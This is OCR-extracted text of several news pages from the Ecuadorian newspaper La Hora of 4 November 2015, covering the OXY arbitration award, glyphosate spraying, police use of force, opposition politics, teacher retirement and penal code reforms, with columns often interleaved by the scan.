La decisión final del Caso OXY, en su cuenta de Twitter señatomada por el Comité de Anula- ló que ya se presentó a la OXY ción en relación al laudo dictado una propuesta para continuar en octubre de 2012, y notificada las negociaciones, mientras que la Procuraduría y el Ministerio al Ecuador el 2 de noviembre de este año le deja al país una de Finanzas confirmaron su intención de trabajar para nueva deuda neta por pallegar a una “pronta y gar de 1.061’775.000 dóla- EL DATO amigable solución” con res, monto del cual debela petrolera, sin embargo rán descontarse las costas caducidad se aún se desconoce si en el judiciales, según informó La produjo porque Presupuesto de 2016, prela Procuraduría General Oxy pasó el 40% de su partivisto en 29.835 millones del Estado (PGE). cipación en el En la resolución de Bloque 15 a otra de dólares, se tiene una compañía sin hace tres años, la cifra que alertar de esto al partida destinada para este tipo de egresos. se pretendía que Ecuador Estado. entregue a la empresa petrolera era de 1.769 miPro y contra llones de dólares por indemni- Luis Calero, asesor legal del zación y unos 530 millones de Foro Petrolero, señaló que es dólares por intereses. Así, con la parcialmente positivo que se nulidad parcial del laudo dictada haya logrado la rebaja del 40%, esta semana se obtuvo una reba- asegurando que con la recupeja del 40% del monto anterior. ración del manejo del Bloque 15 El presidente, Rafael Correa, y teniendo la producción solo

INSTALACIONES. La Petrolera Oxuy operaba en Ecuador hasta antes del proceso de caducidad de su contrato en el Bloque 15.

para el país durante estos nueve años el resultado es favorable por el promedio del precio del petróleo. “Pese al monto que hay que pagar, el Estado ecuatoriano salió ganando, lo que pasa es que no guardamos”, dijo Calero al explicar que si una parte de la producción del Bloque se ahorraba para un eventual pago, el país estaría en posibilidades de afrontarlo directamente. Sin embargo, para el experto económico Pablo Dávalos que el Ecuador reconozca este fallo atentaría contra la estabilidad económica del país, abriendo las puertas para nuevos juicios de empresas que podrían demandar al país, por el precedente de pago de las mismas, independientemente de sus condiciones internas. “El Gobierno ecuatoriano, bajo ningún concepto puede pagar un centavo a la OXY”, dijo Dávalos, y aseguró que esta sería una señal que podría desencadenar una “avalancha de juicios” que podrían alcanzar los 14.000 millones de dólares, por lo que lo adecuado, a su criterio es que se desconozca el fallo apelando a un estatuto de protección del convenio de las Naciones Unidas, porque la empresa no cumplió con la Ley sabiendo que podía acarrearle la caducidad del contrato. Dificultades económicas

Dávalos señaló, además, que esos más de 1.000 millones de dólares que dispone el fallo, corresponden al 75% del presupuesto de sa-

Apoyo a la caducidad enero de 2006, el entonces candidato a la Presidencia, Rafael Correa, hizo °unEnllamado a la resistencia civil para impedir la posibilidad de que el Gobierno

de Alfredo Palacio negocie con la OXY y se evite la declaratoria de caducidad por la cesión del 40% sus derechos a la compañía AEC, sin notificar al Estado ecuatoriano. Correa apoyó la caducidad y calificó de “traidores a la patria” a quienes acepten el arbitraje que interpuso la petrolera, ante el Ciadi, el centro de arbitraje del Banco Mundial, asegurando que tras la decisión había intereses de “grandes grupos empresariales” a los cuales no les importaba que el país pierda más de 1.000 millones de dólares.

lud planificado para el siguiente año, por lo que se podría poner en riesgo los programas sociales. Esto además, tomando en cuenta que el país atraviesa un momento de “crisis de liquidez” y no está en cuenta con recursos para financiar este tipo de demandas. De su parte, Calero señaló que ahora es importante ver los términos de la negociación que plantea el Gobierno con la OXY, calcular los intereses y ver de qué forma se paga. El exministro de Economía, Mauricio Pozo, indicó que dicha negociación implicaría un proceso de pago gradual, que tendrá que asignarse el valor que corresponda en los presupuestos de los próximos años. Pozo dijo que esto generará más presión de recursos para el país, recordando que la falta de ahorros también es perjudicial porque ahora la situación es mucho más difícil. Para el exministro, descono-

cer el fallo podría atraer acciones negativas de distinta índole e intensidad, al ser el país miembro de las instancias de decisión internacionales. Negociación a destiempo

Calero dijo que en su momento, la caducidad fue la sanción que correspondía de acuerdo a la Ley de Hidrocarburos y el contrato por la transferencia de derechos sin autorización del Estado, pero luego de declarase la caducidad se debió empezar a negociar. Con él coincide Pozo, quien aseguró desde un principio se recomendó que el arreglo se haga directamente entre el Estado y la compañía, ya que sacarlo a la luz degeneró en el resultado actual. Para Pozo, un problema es que el tema se politizó y entró en una etapa de litigio internacional donde Ecuador tenía “bastantes posibilidades de no salir airoso”, debido a la forma en la que se manejó el tema. (ABT)

Ecuador tiene pendientes más procesos en la Ciadi sabilidad y atribuye el daño a ta desde hace varios años y simul- la estatal Petroecuador, con la táneamente varios procesos con que operó en consorcio su filial petroleras en cortes internaciona- Texaco entre 1964-1990, y busca que el tribunal de La Haya les de arbitraje con varios obligue al Estado ecuatomiles de millones de dóla- EL DATO riano a asumir la indemres en juego. nización. El de más envergaduCiadi es una También tiene penra es el que sigue en la La institución del Corte de La Haya por el Grupo del Banco dientes en el Ciadi un prodiseñacaso de la petrolera Che- Mundial da para propiciar ceso contra la petrolera anglofrancesa Perenco y vron, que fue condenada la solución de disputas legales por la justicia ecuatoria- entre gobiernos. su socio estadounidense Burlington, que interpuna a pagar 9.500 millosieron una demanda innes de dólares por daño ambiental a indígenas y pobla- ternacional contra Ecuador por unos 400 millones de dólares, dores amazónicos. Chevron rechaza su respon- alegando la caducidad arbitraria

QUITO, AGENCIAS • Ecuador enfren-

de su contrato. El presidente, Rafael Correa, alienta desde hace años la creación de tribunales regionales de arbitraje, pues que considera que el Ciadi falla siempre en favor de los grandes capitales. La condena inicial, por el caso Oxy, supone “una injusticia tremenda”, ya que la petrolera incumplió la normativa ecuatoriana y el Ciadi no debía tramitar el caso, al tratarse de un asunto de caducidad del contrato, que no forma parte de los TBI, dijo Correa el sábado. “Estos TBI no incluyen la caducidad, pero se declaró com-

ORGANISMO. La sede de la Ciadi está ubicada en Washington, Estados Unidos.

petente el tribunal” e impuso a Ecuador la condena pecuniaria “más grande para un país en la historia de estos arbitrajes”, por

un monto de 1.700 millones de dólares que, más intereses, “supera los 2.000 millones”, recordó Correa.

PAÍS B2

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

Condición médica °Esta semana, el Comando Conjunto de las Fuerzas Armadas también

El uso del glifosato I

Nuevo plan colombiano de fumigaciones enciende alertas

El debate sobre el glifosato, °usado desde hace casi treinta

años por el gobierno de Colombia para eliminar los cultivos de coca, ha estado siempre envuelto en una polémica en la que el Ecuador ha exigido su suspensión por causar daños a la salud humana y al ambiente en la zona fronteriza. En 2008 ante la Corte Internacional de Justicia (CIJ) de La Haya, el Ecuador denunció el uso del herbicida. La Organización Mundial de la Salud (OMS) incluyó al glifosato entre los plaguicidas que pueden causar cáncer en humanos.

El anuncio del Gobierno de Colombia de que "en pocos meses" presentará un plan de lucha contra los cultivos ilícitos de hoja de coca pone en altera a las organizaciones de derechos humanos del Ecuador. Entre otras, entidades frontera para esté precavida, como Acción Ecológica, y la para que tengan cuidado, o Comisión Ecuménica de los para que reserven fuentes de Derechos Humanos (Cedhu), agua…”, expresó. Elsy Mongue, de la Cedhu esperan un pronunciamiento del Gobierno colombiano, opina que, si bien el Gobierno pero Adolfo Maldonado, de- de ese país no habría tomado legado de Acción Ecológica es aún una decisión, cree sin empartidario de solicitar a la De- bargo que sería importante pedir aclaraciones para, de fensoría del Pueblo de alguna manera, evitar ese país un criterio sobre EL DATO afectaciones a la salud la posición oficial. “De lo que sabemos, Cedhu y Acción de los habitantes de la Colombia se reserva el Ecológica piden frontera. En julio pasado, el derecho de fumigar las aclaraciones sobre el plan ministro del Interior de plantaciones, pero usa- para erradicar los cultivos ilíciColombia, Juan Fernanrían otro químico que no tos de hoja de do Cristo, afirmó que el sería el glifosato; cono- coca. programa que impulsacemos que todavía está rá el Gobierno incluirá en elaboración el plan”, dice. En todo caso, Maldona- "un plan de sustitución social do pone en duda que los orga- de cultivos y de erradicación nismos de derechos humanos manual" pero añadió que su del Ecuador puedan recibir Gobierno "no bajará la guardia información previa sobre esta en la lucha" contra el narcotráfico, detalla una publicación de actividad. “Ni siquiera nos comunican un medio de comunicación cocuándo va a iniciar el nuevo lombiano. "Se está discutiendo periodo de fumigaciones, mu- la utilización del glifosato en cho menos el tipo de sustancia algunas zonas del país, pero no que van a utilizar; tampoco se ha tomado hasta el momento alertan a la población de la ninguna decisión", dijo. (SC)

Acudir a tribunales internacionales “Bajo ningún criterio, ni en ningún escenario se deben reiniciar las fumiga°ciones (con glifosato)”, comentó Gabriel Rivera (PAIS), asambleísta por Es-

meraldas, e hizo un llamado a ambos gobiernos para que el acuerdo bilateral que viabilizó la suspensión de las aspersiones continúe sin modificaciones. Comentó también que sería “grave” que esto ocurra pues se ha comprobado que esta actividad perjudica el hábitat y la salud de los pobladores”. Rivera es del criterio de que Ecuador debe agotar los mecanismos diplomáticos establecidos en el derecho internacional e incluso reservarse el derecho de acudir a los tribunales internacionales para evitar que Colombia reinicie esta actividad.

CONTROLES. Los uniformados podrán usar progresivamente la fuerza.

Policías también deben pasar por un examen sicológico PAIS dice que se debe dar garantías de seguridad a la población civil y a los uniformados.

Previo a que se dé inicio a la disposición del ministro del Interior, José Serrano, para que los policías puedan hacer uso progresivo de la fuerza y repeler a la delincuencia antes de que los agentes sean atacados, los gendarmes también deberían pasar por exámenes sicológicos. La sugerencia la plantea la coordinadora del Programa Democracia, Seguridad y Defensa de la Universidad Católica, Bertha García, y el general del Ejército (sp), Jaime del Castillo, quienes piden que se abra un gran debate nacional donde se socialicen los pro y los contra, y en qué momento el gendarme debe o no disparar o hacer uso progresivo de la fuerza. “Esto debe ser asumido con mucho cuidado. La autorización es avezada; los policías también deberían pasar por un examen sicológico (…) porque la orden del ministro puede ser interpretada de diversas formas…”, advierte Del Castillo. ¿Cómo es posible que el ministro de la autorización a la

La Independencia de Cuenca se celabra con el tranvía

SOLICITUD. Organismos de derechos humanos piden a Colombia comunicar a la población de frontera de Ecuador sobre las fumigaciones.

dispuso que las personas naturales o jurídicas que deseen adquirir el permiso para tenencia o porte de armas de fuego de uso civil y para defensa personal, deben primero cumplir con el proceso de evaluación de idoneidad sicológica en las unidades militares de salud. La disposición se enmarca en la Orden Ministerial 118 del 23 de Junio de 2015.

Caso de gendarme en servicio activo °El cabo de policía V.C. fue retenido por la muerte de un presunto delincuente de 55 años conocido como ‘Varón’, quien habría intentado agredirlo con un cuchillo durante un escándalo callejero en el sector de Toctiuco, en el centro de Quito. El jueves se realizó la audiencia de calificación de flagrancia y la Fiscalía dejó el caso del uniformado de servicio urbano en etapa de investigación. El abogado del policía alegó que el implicado actúo en legítima defensa.

policía para que dispare, quien o México)”, agrega. sabe a presuntos delincuentes… Este Diario solicitó ayer al o a un joven desempleado y des- Ministerio del Interior, vía coesperado que comete un delito rreo electrónico, una versión ofipor necesidades económicas y cial para conocer desde cuándo por no dejarse detener presen- se aplicará la medida o si esta acta una actitud agresiva contra el tividad será reglamentada, pero policía?, pregunta el militar. hasta el cierre de esta edición no A Bertha García también le hubo respuesta. llama la atención que el anuncio Gilberto Guamangate, asamse dé “sin mayores explicacio- bleísta de PAIS, cree que esta nes” y en momentos en que, de Función del Estado debería asuacuerdo con versiones de mir de manera inmediata funcionarios del Gobierno, EL DATO el análisis de la propuesta los índices delincuenciales del Ministerio del Interior, han bajado y que se ha lo- El caso de un pues lo importante es dar grado contener la fuerza de policía en servi- las garantías necesarias, activo está la delincuencia. “Pero en cio tanto a los ciudadanos cien etapa de la realidad parece que es al investigación. viles, como a la Policía. “En revés y que la delincuencia el análisis se deberá proposigue adelante”, indica. ner que las armas no sean mal utiEsta especialista considera lizadas, sino sobre todo para casos que las políticas públicas en se- de emergencia”, señala. guridad no establecen con clariEl legislador opina también dad cuáles son los desafíos que que si son utilizadas en lugares enfrenta el país. “Es extraño que o en situaciones no adecuadas, se quiera recurrir a una mano tendría que haber sanciones, pero dura como si el Ecuador estu- “tampoco se puede dejar en la inviese en una situación extrema defensión a los policías víctimas (de violencia como en Colombia de asesinos”, añade. (SC)

Cuenca. La Independencia de Cuenca se festejó ayer con el primer recorrido de prueba del tranvía, esta vez con pasajeros. El alcalde Marcelo Cabrera manejó el tranvía en el primer viaje, en el que estuvieron autoridades de la ciudad. El proyecto, que está en un 55% de avance, tiene un costo de fianciamiento de 231,5 millones de dólares. En total, ayer se realizaron siete viajes. (VET)

Se viene la elección de los titulares de control

REUNIÓN. Los dirigentes de los movimientos sociales buscan capitaliar las protestas de meses pasados en Quito.

La oposición busca una ruta común contra las enmiendas En Loja se cumplirá hoy un encuentro de varios dirigentes que cuestionan la aprobación de las enmiendas. Representantes de varios secto- un documento y una declaración res políticos y sociales de oposi- de organizaciones políticas que, ción se reunirán este miércoles a pesar de sus diferencias ideolóen Loja en el Primer Conver- gicas, puedan coincidir en unos satorio de Líderes en Resisten- objetivos democráticos en favor cia del Ecuador. Se ha invitado del país. Espera que aunque a dirigentes de Movimientos el tema de las enmiendas es el como Concertación, Asamblea principal que les convoca, se traAutoconvocada de Quito, CREO, ten también otros aspectos. “En Pachakutik, Ecuarunari, entre principio nos hemos propuesto hacer esta primera reunión que otros. Ernesto Gallo, coordinador nos permita llegar a acuerdos”, general del encuentro, aseguró agregó Amores. De su lado el dirigente que el objetivo de la cita del Movimiento Conceres que más allá de sus EL DATO tación, César Montúfar, ideologías políticas pardijo que el encuentro en ticulares, todos los que se espera que se oponen a la aprobación Se unan delegados Loja es el primer paso de las enmiendas cons- del movimiento para definir entre los a esta sectores que se oponen titucionales a través de indígena cita. a la aprobación de las la Legislatura formulen enmiendas, un plan y una propuesta conjunta coordinación de acciopara frenar esa iniciativa del oficialismo. “Tratamos de nes para que en noviembre y unificar fuerzas porque lasti- diciembre se aglutinen las dimosamente todas las activida- ferentes fuerzas sociales y podes que se han hecho por sepa- líticas para ejercer presión con rado como la marcha indígena, la finalidad “de que la Asamlos pedidos de consulta han blea Nacional no cometa esta barbaridad, de inconstituciofracasado”, aseguró Gallo. Betty Amores, exasambleís- nalmente aprobar un paquete ta constituyente y exmilitante de enmiendas sobre el cual la de PAIS, aseguró que asistirá al mayoría del pueblo ecuatoriaencuentro en representación de no está en desacuerdo”. CREO porque considera que es fundamental que se debatan los En duda presencia de la Ecuarunari problemas del país. Amores aña- Carlos Pérez Guartambel, predió que se buscará consensuar sidente de la Ecuarunari, consta

PAÍS I

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B3

La politóloga Natalia Sierra dice que, aunque a estos orgaAvanzar en la designación de nismos se les podría pedir agililas nuevas autoridades de las dad o que mejoren los procesos, superintendencias de Bancos advierte dificultades porque el y de Compañías que culmina- CPC como otras instancias del rán sus funciones en diciem- Estado, La presidenta del Consejo, bre de este año, es la sugerencia que plantea el exvocal Raquel Gonzáles, y el consedel Consejo de Participación jero Tito Astudillo desestiman Ciudadana y Control Social estas críticas y evalúan este primer trimestre de gestión (Cpccs), David Rosero. Las autoridades de con- como “positivo”, y según dicen trol fueron designadas en di- se están cumpliendo los objetivos a corto, mediano y ciembre de 2010 para largo plazo. un periodo de cinco EL DATO “La visión de este años, y según el artíConsejo es ir hacia una culo 208, numeral 10 diciembre profundización de la dede la Constitución, los En próximo, las nuevos superinten- autoridades de mocracia y de los mecasuperintennismos de participación dentes deberán ser de- las dencias de a través de las escuelas de signados de una terna Bancos y de Compañías formación, y lucha contra propuesta por el Presi- cumplen su de cinco la corrupción”, expresa la dente de la República. periodo años en estos titular del CPC. Rosero -una de las organismos. Astudillo también voces disidentes en el anuncia que en noviemanterior organismotambién considera que en bre se aprobará el reglamento este primer periodo, hay una para la gestión de veedores ciudemora en la designación de dadanos que se encargarán de defensores de audiencias y dar seguimiento a concursos, lectores de los medios de co- por ejemplo, de la renovación municación, y la renovación parcial de Tribunal Contencioparcial del Tribunal Conten- so y que podría iniciar a fines de este mes. (SC) cioso Electoral (TCE).

La Cedocut no confirma asistencia Otro de los nombres que °constaban entre los invitados era

el de Mesías Tatamuez, dirigente sindicalista de la Cedocut. Pero hasta el cierre de esta edición le dijo a Diario La Hora que no asistiría porque no había recibido una invitación formal, por lo que no entendía de donde salió su nombre entre los participantes.

como uno de los invitados a este conversatorio. Sin embargo, su presencia en Loja está en duda ya que también había sido invitado el líder de CREO, Guillermo Lasso. “Yo fui invitado a participar en un foro en el que me hablaban de un encuentro de líderes por el tema de las enmiendas y de la resistencia. Sin embargo ahora que aparecen partidos políticos que han sido históricamente antagónicos con el movimiento indígena y popular, si están ellos he hecho las consultas a mis compañeros, pero personalmente creo que no debería ir porque sería falta de ética por parte nuestra”, dijo el dirigente indígena. Gallo confirmó que en principio Lasso si constaba entre los invitados a este encuentro pero declinó su participación por lo que espera que Pérez recapacite y asista al conversatorio. (HCR)

SESIÓN DEL PLENO. El 23 de octubre, el nuevo Consejo de Participación Ciudadana (CPC) cumplió el primer trimestre de labores.

Los ministros del Interior debatirán sobre narcotráfico • El narcotráfico de los países del Mercosur (Pay el contrabando serán algunos raguay, Argentina, Brasil, Urude los temas a tratar durante la guay y Venezuela). En ellas toman parte rereunión de ministros del Interior y de Seguridad del Mer- presentantes de los Estados asociados como Chile, cosur que se celebrará Ecuador, Colombia y el viernes en Asunción, EL DATO Bolivia, país que está en dentro de la agenda de trámite de incorporarse Paraguay como país que representan- como miembro pleno. ostenta la presidencia Los tes buscarán identificar mecaDurante las jornadas temporal del bloque. para forse realizarán foros espeOtros fenómenos de- nismos talecer el interlictivos abordados serán cambio de infor- cializados sobre el terromación entre el tráfico de personas, organismos de rismo y los problemas migratorios que afectan delitos informáticos o seguridad. a la región, donde se lavado de activos, inforestudiarán alternativas mó hoy el Ministerio del migratorias con relación a la Interior de Paraguay. Esos temas serán previa- protección internacional de mente estudiados en la serie de refugiados, con un especial reuniones técnicas que se ini- énfasis en la situación de los ciaron hoy en Asunción con la refugiados sirios de la región, participación de funcionarios según la fuente.

ASUNCIÓN, EFE

CYAN MAGENTA YELLOW BLACK

NACIONAL

PAÍS B4

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

Sentencia de 9 años por ‘piratería’ en alta mar

I

GUAYAQUIL •

INVERSIÓN. Elba Morales (66) es parte del último grupo de maestros a los que se les aceptó la renuncia voluntaria.

La jubilación voluntaria sin rumbo claro El Ministerio de Educación no confirma si la opción se reactivará el próximo año.

Una casa en Tabacundo (cantón Pedro Moncayo) de la profesora jubilada Elba Morales, que durante años estuvo a medio hacer, se terminó de construir con la venta de los bonos del Estado que recibió como compensación económica por sus años en el Magisterio después de aplicar a la jubilación voluntaria. Esta maestra, de séptimo de educación básica en la unidad educativa Rafael Larrea, se retiró a los 65 años de edad (ya cumplió 66), tras 33 años de servicio. Morales “logró acceder al derecho” en el último grupo de profesores a los que se les aceptó la renuncia voluntaria. Este año, el Ministerio de Educación suspendió la opción de jubilarse con menos de 70 años por la falta de recursos para el pago de los estímulos de la jubilación. Así dejó a 3.925 profesores en

CONSTRUCCIÓN. La casa edificada con los bonos que recibió la exmaestra Elba Morales tras 33 años de labores.

Profesores jubilados voluntariamente Por año

2.827 profesores ° 2012: 8.174 maestros ° 2013: 3.216 profesores ° 2014: ° 2015: 0

Requisitos

Para la jubilación voluntaria

° Haberse inscrito en el Sistema de

Información del Ministerio de Educación y haber aceptado el bono del Estado. (Actualmente no está aceptando solicitudes).

°Tener entre 60 a 64 años y 360 aporta-

ciones en el IESS o 65 a 69 años de edad y 180 aportaciones.

°Estar trabajando normalmente. ° No haber realizado el aviso de salida del IESS ni estar recibiendo pensión jubilar. °Tener nombramiento definitivo como profesor.

° No tener impedimento laboral en el Ministerio de Relaciones Laborales ni sumario administrativo.

medio del proceso, además de a bonos del Estado y no en efectiotro grupo, cuyo número no se vo, como se aplica para quienes conoce, que quisiera retirarse, y se jubilan obligatoriamente a que no puede hacerlo porque no los 70 años. La Unión Nacional se les acepta la renuncia. de Educadores (UNE) Los maestros entre 60 rechazó en varias ocay 69 años por Ley podrían CIFRAS siones el pago en bonos retirarse voluntariameny ahora critica la suste. En ese caso, cada uno 18.253 pensión de la jubilación PROFESORES recibiría los beneficios del accedieron a la jubi- voluntaria. lación voluntaria, IESS, es decir, la pensión obligatoria Este Diario solicitó y por jubilar, la cesantía y los enfermedad entre una confirmación de si 2012 y 2015. fondos de reserva. la jubilación voluntaria Pero, adicionalmente, 197’000.000 reiniciará en 2016, pero DÓLARES la Ley de Servicio Públihasta el cierre de esta requiere el co y la Ley Orgánica de edición no hubo una Ministerio de Educación para Educación Intercultural pagar respuesta. en bonificales otorga un estímulo ciones a los proferegistrados Situación que consiste en un pago sores en el sistema. de cinco salarios por El Ministerio, durante el cada año de servicio conperiodo que se habilitó tado a partir del quinto año, con la jubilación voluntaria, entre un monto máximo de 150 sala- 2012 y 2014, jubiló a 14.217 prorios básicos. fesores que accedieron a la plaEse valor se paga a través de taforma, para lo cual requirió

Criterios Rosana Palacios, presidenta de °la UNE, confirmó que un grupo de

profesores jubilados decidió vender sus bonos, aunque otros también los mantienen para recibir los intereses. Ella considera que es una vulneración que no exista la posibilidad de jubilarse voluntariamente. Al contrario, Nelly Miño, coordinadora de Quito de la Red de Maestros, señaló que espera que para el próximo año se reactive la jubilación voluntaria, aunque no cree que se estén violentando los derechos de los profesores porque la bonificación adicional se incorporó en este Gobierno. Después del feriado está prevista una reunión con autoridades del Ministerio para trabajar en el tema.

654’857.187,78 dólares, según información proporcionada a este Diario. El 30 de agosto de 2014 Morales recibió su jubilación. En el IESS tiene una pensión de 600 dólares y en bonos recibió 27 mil dólares, aunque según sus cálculos debía recibir 46 mil. En total, el Ministerio de Educación ha desembolsado 510’000.483,41 dólares en bonos entregados a los profesores. Los de Morales fueron para cinco años, aunque mensualmente iba a recibir los intereses que correspondían al 5% anual. En enero los puso a la venta y en febrero fueron adquiridos por un valor de 22 mil dólares, que le significó una pérdida de cinco mil dólares. Sin embargo, cree que fue la decisión correcta por la crisis económica. (AGO)

El Primer Tribunal de Garantías Penales de Santa Elena, sentenció a 9 años, 3 meses de pena privativa de libertad a Ramón C., por ser autor del supuesto delito de robo en alta mar. Carlos Cargua, agente fiscal de Santa Elena, en la audiencia de juicio realizada en la Corte Provincial de Justicia, expuso varias pruebas que demostraron la culpabilidad del acusado. Presentó 11 testigos, entre agentes investigadores, aprehensores, y denunciantes, a ello, se sumó las pruebas documentales, como el parte de detención, reconocimiento del lugar, informe investigativo y técnico pericial de evidencias. El Tribunal EL DATO conformado por los jueces Deysi Los magistrados Lindao, Gastón impusieron al el Iturralde y César procesado pago de 7 mil dólares como Vélez, valoró los medida de promedios probato- tección y reparo a los rios presentados integral perjudicados. por la Fiscalía y sentenció como autor del delito a Ramón C. Según la denuncia presentada por el comandante de la embarcación ‘Yvis Vianney’, Santiago Chávez, el pasado 19 de marzo, salió a pescar junto a otras tres personas, desde Anconcito. Al medio día, fueron asaltados en alta mar por varios sujetos que se movilizaban en otra embarcación. Estas personas, luego de realizar el atraco, robaron también a otra embarcación que se encontraba por el sector, identificada como ‘Josué’. De esta nave se llevaron motores fuera de borda, canecas de combustibles, celulares, bolsos, documentos personales y dinero en efectivo. Los presuntos delincuentes se dieron a la fuga en alta mar, por lo que los perjudicados dieron aviso a la Armada Nacional, quien horas después, luego de un operativo de búsqueda, logró ubicar a la embarcación. Es así que detuvieron a Ramón C., quien presuntamente tenía parte de lo robado; él fue puesto a órdenes de la Policía Nacional y de la Fiscalía. (DAB)

Campesinos piden emergencia en Guayas por El Niño GUAYAQUIL • Los campesinos agre-

INVESTIGACIÓN. El buque Orión regresó de su viaje, tras el cual confirmó que las aguas del Pacífico en Ecuador se están calentando.

miados en la Cámara de Agricultura de la segunda zona del Guayas demandaron de las autoridades gubernamentales pidieron que se declare estado de emergencia por los daños que podría causar el fenómeno de El Niño, en los próximos meses. Los agricultores aclararon que están de acuerdo con los planes propuestos por las autoridades, pero creen que es hora de ejecutarlos y por eso propo-

nen que el central conduzca a los reunirnos para lograr la unidad necesaria frente al fenómeno gobiernos locales. Esto, mientras los alcaldes de El Niño", dijo Jorge Espinoza, presidente del Centro de cantones de Guayas, Agrícola de Milagro, a trase reunieron la semana EL DATO vés de un comunicado. anterior, con autoridades Julio César Quiñónez, gubernamentales para Los proyectos de gobernador de la provinelaborar planes conjuntos protección de ya se y enfrentar al evento cli- cultivos ejecutan en 284 cia, ya trató el tema relamil hectáreas. cionado a El Niño, pero mático. sin considerar una emer"Les decimos a la jungencia porque se están tas parroquiales, municipios y prefectura que los agri- preparando en infraestructura cultores estamos dispuestos a y en función de lo que necesitan

mayoritariamente los cantones para enfrentar al fenómeno. Las autoridades aseguraron que las reuniones relacionadas a El Niño continuarán en los próximos días. Rafael Guerrero, presidente del gremio agrícola, insistió en la declaratoria de emergencia ya que Guayas es una zona baja y es vulnerable a la crecida de los ríos. "No queremos perder cultivos y lo que es peor toda la inversión que realizan nuestros agricultores”, dijo. (DAB)

Debate sobre reformas al COIP debe diversificarse Se plantea que la modificación sea integral y no por partes, porque eso afecta a la seguridad jurídica.

Las reformas que se anuncian dobles interpretaciones”, dice al Código Orgánico Integral Pe- la experta, al tiempo de anotar nal (COIP) hacen coincidir cri- que hay quienes están legislanterios en la necesidad de que la do sin haber nunca pisado un Asamblea Nacional recoja las juzgado. Para Paulina Araujo, especiaopiniones de los operadores de justicia y de todos quienes están lista en perfil litigante y derechos involucrados en el trabajo jurídi- humanos, siempre se debe tener mucha seriedad al momento de co diario. hacer las leyes, pero más Para la jurista Pauliaún la ley penal, porque el na Araujo, es importan- EL DATO derecho penal implica el te que en el momento de la discusión de las refor- El 28 de enero de poder más duro que tiene mas, se acojan los crite- 2014 fue apro- el Estado que es el de sanbado el COIP en cionar y eso debe estar muy rios de los profesionales la Asamblea Entró claro, de lo contrario puede que están en el día a día Nacional. en vigencia el 10 prestarse para arbitrariedacon el COIP, es decir, de de agosto de des y eso no es justo. los operadores de justi- 2014. Esta abogada es partidacia y los abogados en liria de una reforma integral, porbre ejercicio. “El hacer las leyes penales que si se está cambiando a cada requiere primero saber cómo es momento la ley penal, no hay la realidad delictiva, y segun- seguridad jurídica y eso en el do, utilizar bien los términos ámbito penal es muy peligroso. A decir de esta profesional, para evitar que eso se preste a

La opinión del Fiscal ° Para el fiscal Galo Chiriboga, el COIP, como toda obra humana, es perfectible y por tanto no se le puede considerar inamovible. Dice que no es quien para darle

consejos a la Asamblea, pero sería positivo que estos temas tengan la opinión de los operadores de justicia y de los abogados litigantes. Sostiene que en términos generales, se ha tenido un buen año en la aplicación de la norma, los procesos se han agilitado, se ha fortalecido la oralidad del proceso penal y eso sin duda marca derroteros de mayor transparencia y seguridad jurídica para las partes. Cree que un año sí es tiempo para emprender en reformas, dado que los problemas que se generan en una sociedad son más rápidos de lo que las leyes avanzan y por lo tanto en términos generales siempre la ley está detrás de la evolución social.

LITIGACIÓN. El COIP se viene aplicando en los juzgados y tribunales desde agosto de 2014.

el COIP nació mal hecho y tal es el caso que incluso antes de que entre en vigencia en agosto de 2014, ya se hizo la primera reforma propuesta por el presidente, Rafael Correa, para introducir la figura de los delitos contra la propiedad intelectual, luego vino una segunda reforma para el incremento de la pena en la mínima y media escala para el tráfico de drogas; y, adicionalmente, ya se habla de modificar la pena respecto del tráfico de hidrocarburos. Dice que el derecho penal se rige en dos grandes ejes: primero el principio de legalidad, que quiere decir que todo lo que se regula e implique sanciones, tienen que estar en la ley, que sea clara, autónoma, unívoca y que permita una sola interpretación. Y, el se-

AVISO PARA EL EJERCICIO DEL DERECHO DE SUSCRIPCION PREFERENTE EN EL AUMENTO DE CAPITAL DE FALCONFARMS DE ECUADOR S.A.

Se comunica a los accionistas de FALCONFARMS DE ECUADOR S.A., que la Junta General Extraordinaria, celebrada el día 27 de octubre de 2015, resolvió aumentar el capital suscrito y pagado, dentro del límite del capital autorizado, en la cantidad de UN MILLON OCHOCIENTOS TREINTA MIL DOLARES ($1.830.000,oo) de los Estados Unidos de America, por capitalización de una acreencia de su accionista principal. Consecuentemente, el capital suscrito y pagado de la Compañía queda fijado en SEIS MILLONES OCHOCIENTOS DOCE MIL DOLARES (US $6.812.000,oo) de los Estados Unidos de America. Se notifica a los accionistas de FALCONFARMS DE ECUADOR S.A., para que en el plazo de treinta días, contados a partir de la publicación del presente aviso, se acerquen al domicilio social de la Compañía ubicado en la Parroquia Quiroga, Comunidad Azama, Cantón Cotacachi, Provincia de Imbabura, Ecuador, y hagan uso de su derecho preferente de suscribir acciones, del mencionado aumento de capital, en proporción a las poseídas al 26 de octubre de 2015, todo de conformidad con lo estipulado en el artículo 181 de la Ley de Compañías. Las acciones a las que tienen derecho los accionistas que deseen ejercitar su derecho preferente deberán pagarse de contado al momento de la suscripción de las acciones. En caso de no acercarse alguno de los accionistas al domicilio de la compañía dentro del plazo señalado, se entenderá que renuncia al ejercicio de su derecho preferente. Cotacachi, 29 de Octubre de 2015 FERNANDO ENRIQUE MANTILLA PATIÑO Representante Legal

PAB/12715/AS

gundo, que se refiere al principio de proporcionalidad, con penas justas y considerando la gravedad del delito. De su parte, un juez de la Corte Nacional de Justicia que prefirió el anonimato, dijo que cualquier reforma que se haga a la ley penal, debe ser con responsabilidad y tomando en cuenta el criterio de los operadores de justicia. (LC)

JUSTICIA I

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B5

Se reactiva caso de prevaricato Después de haber transcurrido más de cuatro años de iniciada la instrucción fiscal en contra de los tres jueces de la Sala Penal de la Corte Provincial del Guayas que mandaron a pagar más de 90 millones de dólares a la Cervecería Nacional en favor de los extrabajadores de esa empresa, recién en esta semana se instalará la audiencia de juzgamiento de estos exoperadores de justicia que están acusados del presunto delito de prevaricato. Paúl Ocaña, abogado de dos de los tres exjueces, sostiene que este enjuiciamiento es una intromisión en la administración de justicia, porque a través de este juzgamiento se quiere intimidar a los procesados y a los jueces en funciones. Respecto del tiempo que ha tomado este proceso, dijo que este ha pasado en demasía. (LC)

CYAN MAGENTA YELLOW BLACK

EFECTIVO B6

